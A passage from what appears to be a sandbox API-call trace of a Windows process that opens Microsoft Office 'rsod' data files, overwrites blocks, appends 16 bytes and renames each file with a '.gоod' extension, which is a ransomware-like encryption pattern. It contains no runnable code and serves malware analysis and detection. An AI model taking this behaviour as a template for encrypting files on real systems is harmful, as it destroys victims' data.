(dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0153.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.188] GetFileType (hFile=0x7fc) returned 0x1 [0153.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0153.188] GetFileType (hFile=0x7fc) returned 0x1 [0153.188] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0153.188] ReadFile (in: hFile=0x7fc, lpBuffer=0x39cb1a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x39cb1a8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0153.189] CloseHandle (hObject=0x7fc) returned 1 [0153.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0153.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0153.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.189] GetFileType (hFile=0x7fc) returned 0x1 [0153.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0153.190] GetFileType (hFile=0x7fc) returned 0x1 [0153.190] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x4cf4 [0153.190] WriteFile (in: hFile=0x7fc, lpBuffer=0x39cd540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x39cd540*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0153.190] CloseHandle (hObject=0x7fc) returned 1 [0153.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0153.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0153.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.191] GetFileType (hFile=0x7fc) returned 0x1 [0153.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0153.191] GetFileType (hFile=0x7fc) returned 0x1 [0153.191] ReadFile (in: hFile=0x7fc, lpBuffer=0x39cf900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x39cf900*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0153.420] CloseHandle (hObject=0x7fc) returned 1 [0153.420] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0153.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0153.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.420] GetFileType (hFile=0x7fc) returned 0x1 [0153.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0153.420] GetFileType (hFile=0x7fc) returned 0x1 [0153.420] WriteFile (in: hFile=0x7fc, lpBuffer=0x321e228*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x321e228*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0153.421] CloseHandle (hObject=0x7fc) returned 1 [0153.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0153.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0153.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0153.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0572132, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0572132, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x57a7afaf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d04)) returned 1 [0153.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0153.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat.gоod")) returned 1 [0153.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0153.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0153.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x32e8998 | out: lpFileInformation=0x32e8998*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b8fd)) returned 1 [0153.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0153.423] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0153.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0153.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.423] GetFileType (hFile=0x7fc) returned 0x1 [0153.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0153.423] GetFileType (hFile=0x7fc) returned 0x1 [0153.424] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0153.424] ReadFile (in: hFile=0x7fc, lpBuffer=0x32e8e40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x32e8e40*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0153.425] CloseHandle (hObject=0x7fc) returned 1 [0153.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0153.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0153.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.425] GetFileType (hFile=0x7fc) returned 0x1 [0153.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0153.425] GetFileType (hFile=0x7fc) returned 0x1 [0153.425] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x5b8fd [0153.425] WriteFile (in: hFile=0x7fc, lpBuffer=0x32ea120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x32ea120*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0153.427] CloseHandle (hObject=0x7fc) returned 1 [0153.427] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0153.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0153.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0153.427] GetFileType (hFile=0x7fc) returned 0x1 [0153.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0153.427] GetFileType (hFile=0x7fc) returned 0x1 [0153.427] ReadFile (in: hFile=0x7fc, lpBuffer=0x32ed598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x32ed598*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0154.910] CloseHandle (hObject=0x7fc) returned 1 [0154.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0154.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0154.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0154.911] GetFileType (hFile=0x7fc) returned 0x1 [0154.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0154.911] GetFileType (hFile=0x7fc) returned 0x1 [0154.911] WriteFile (in: hFile=0x7fc, lpBuffer=0x324fa58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x324fa58*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0154.911] CloseHandle (hObject=0x7fc) returned 1 [0154.911] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0154.911] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x57 [0154.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0154.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x588cf138, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b90d)) returned 1 [0154.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0154.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0154.912] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0154.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0154.912] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x32d3838 | out: lpFileInformation=0x32d3838*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfc34f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfc34f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0335ea1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x153aac)) returned 1 [0154.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0154.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0154.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0154.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0154.913] GetFileType (hFile=0x7fc) returned 0x1 [0154.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0154.913] GetFileType (hFile=0x7fc) returned 0x1 [0154.913] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0154.914] ReadFile (in: hFile=0x7fc, lpBuffer=0x32d3cc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x32d3cc0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0155.181] CloseHandle (hObject=0x7fc) returned 1 [0155.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0155.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0155.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0155.182] GetFileType (hFile=0x7fc) returned 0x1 [0155.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0155.182] GetFileType (hFile=0x7fc) returned 0x1 [0155.182] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x153aac [0155.182] WriteFile (in: hFile=0x7fc, lpBuffer=0x33aa640*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x33aa640*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0155.185] CloseHandle (hObject=0x7fc) returned 1 [0155.185] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0155.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0155.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0155.185] GetFileType (hFile=0x7fc) returned 0x1 [0155.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0155.185] GetFileType (hFile=0x7fc) returned 0x1 [0155.185] ReadFile (in: hFile=0x7fc, lpBuffer=0x33acb00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x33acb00*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0155.213] CloseHandle (hObject=0x7fc) returned 1 [0155.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0155.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0155.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0155.214] GetFileType (hFile=0x7fc) returned 0x1 [0155.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0155.214] GetFileType (hFile=0x7fc) returned 0x1 [0155.214] WriteFile (in: hFile=0x7fc, lpBuffer=0x33ab820*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33ab820*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0155.214] CloseHandle (hObject=0x7fc) returned 1 [0155.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0155.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0155.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0155.214] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfc34f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfc34f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x58ba3152, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x153abc)) returned 1 [0155.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0155.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32ww.msi.16.x-none.tree.dat.gоod")) returned 1 [0155.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0155.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0155.215] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3429f88 | out: lpFileInformation=0x3429f88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3334d)) returned 1 [0155.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0155.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0155.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0155.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, 